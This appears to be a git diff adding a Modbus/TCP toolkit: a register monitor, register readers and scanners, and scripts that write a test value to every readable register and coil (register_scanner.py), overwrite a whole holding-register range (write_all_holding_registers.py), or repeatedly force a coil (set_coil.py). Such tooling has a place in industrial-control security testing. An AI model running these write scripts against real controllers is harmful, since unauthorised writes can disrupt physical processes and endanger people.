self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ 